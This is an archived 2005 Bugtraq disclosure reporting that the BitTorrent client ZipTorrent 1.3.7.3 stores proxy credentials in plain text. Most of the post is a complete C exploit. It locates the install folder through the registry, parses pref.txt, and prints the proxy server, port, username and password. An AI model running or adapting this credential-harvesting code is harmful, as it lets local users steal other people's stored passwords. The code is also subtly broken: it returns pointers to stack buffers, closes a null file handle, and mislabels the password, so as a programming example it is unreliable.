bugtraq - ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users

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Message-ID: <20050823132123.18445.qmail@securityfocus.com>
Date: 23 Aug 2005 13:21:23 -0000
From: kozan@...instructors.com
To: bugtraq@...urityfocus.com
Subject: ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users


/*================================================================

ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan

Discovered & Coded by Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@...instructors.com

Application:
--------------------
ZipTorrent 1.3.7.3 (and probably prior versions)
Vendor: www.ziptorrent.com

Introduction:
--------------------
ZipTorrent is the fastest BitTorrent client for Windows with the
most features, such as Search om Major search engines an RSS reader,
IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update,
Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard
that helps you through the installation process.

Bug:
--------------------
ZipTorrent stores proxy server information and password in
X:\\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt
in plain text. A local user can read passwords and others.

Vendor Confirmed:
--------------------
No

Fix:
--------------------
There is no solution at the time of this entry.

================================================================*/



#include <stdio.h>
#include <windows.h>



int GetOffset(char *FilePath, char *Str)
{
       char kr;
       int Sayac=0;
       int Offset=-1;
       FILE *di;
       if( (di=fopen(FilePath,"rb")) == NULL )
       {
               fclose(di);
               return -1;
       }

       while(!feof(di))
       {
               Sayac++;
               for(int i=0;i<strlen(Str);i++)
               {
                       kr=getc(di);
                       if(kr != Str[i])
                       {
                               if( i>0 ) fseek(di,Sayac+1,SEEK_SET);
                               break;
                       }

                       if( i > ( strlen(Str)-2 ) )
                       {
                               Offset = ftell(di)-strlen(Str);
                               fclose(di);
                               return Offset;
                       }
               }
       }

       fclose(di);
       return -1;
}


char *ReadString(char *FilePath, char *Str)
{
       FILE *di;
       char cr;
       int i=0;
       char Feature[500];

       int Offset = GetOffset(FilePath,Str);

       if( Offset == -1 ) return NULL;
       if( (di=fopen(FilePath,"rb")) == NULL ) return NULL;

       fseek(di,Offset+strlen(Str),SEEK_SET);

       while(!feof(di))
       {
               cr=getc(di);
               if(cr == 0x0D) break;
               Feature[i] = cr;
               i++;
       }

       Feature[i] = '\0';
       fclose(di);
       return Feature;
}

char *GetZipTorrentPath()
{
       HKEY hKey;
       char szZipTorrentPath[MAX_PATH];
       DWORD dwBufLen = MAX_PATH;
       LONG lRet;

       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                                       "SOFTWARE\\ZipTorrent",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey
                                       ) == ERROR_SUCCESS)
       {
               lRet = RegQueryValueEx( hKey,
                                                               "Install_Dir",
                                                               NULL,
                                                               NULL,
                                                               (LPBYTE) szZipTorrentPath,
                                                               &dwBufLen);

               if( (lRet != ERROR_SUCCESS) || (dwBufLen > MAX_PATH) )
               {
                       RegCloseKey(hKey);
                       return NULL;
               }
               RegCloseKey(hKey);
               return szZipTorrentPath;
       }
       return NULL;
}


int main()
{
       char szPwdFile[MAX_PATH];
       char szServer[255], szPort[255], szUsername[255], szPassword[255];
       bool bInstalled;
       if( GetZipTorrentPath() == NULL ) bInstalled = false;
       else
       {
               bInstalled = true;
               strcpy(szPwdFile, GetZipTorrentPath());
               strcat(szPwdFile, "\\pref.txt");
               strcpy(szServer, ReadString(szPwdFile, "proxy_ip | "));
               strcpy(szPort, ReadString(szPwdFile, "proxy_port | "));
               strcpy(szUsername, ReadString(szPwdFile, "proxy_username | "));
               strcpy(szPassword, ReadString(szPwdFile, "proxy_password | "));
       }

       fprintf(stdout, "ZipTorrent 1.3.7.3 Local Proxy Password Disclosure
Exploit by Kozan\n");
       fprintf(stdout, "Credits to ATmaCA\n");
       fprintf(stdout, "Web: www.spyinstructors.com \n");
       fprintf(stdout, "Mail: kozan@...instructors.com \n\n");

       if( !bInstalled )
       {
               fprintf(stderr, "ZipTorrent is not installed on your pc!\n");
               return -1;
       }

       fprintf(stdout, "Proxy Server\t: \t%s\n", szServer);
       fprintf(stdout, "Proxy Port\t: \t%s\n", szPort);
       fprintf(stdout, "Proxy Username\t: \t%s\n", szUsername);
       fprintf(stdout, "Proxy Username\t: \t%s\n", szPassword);

       return 0;
}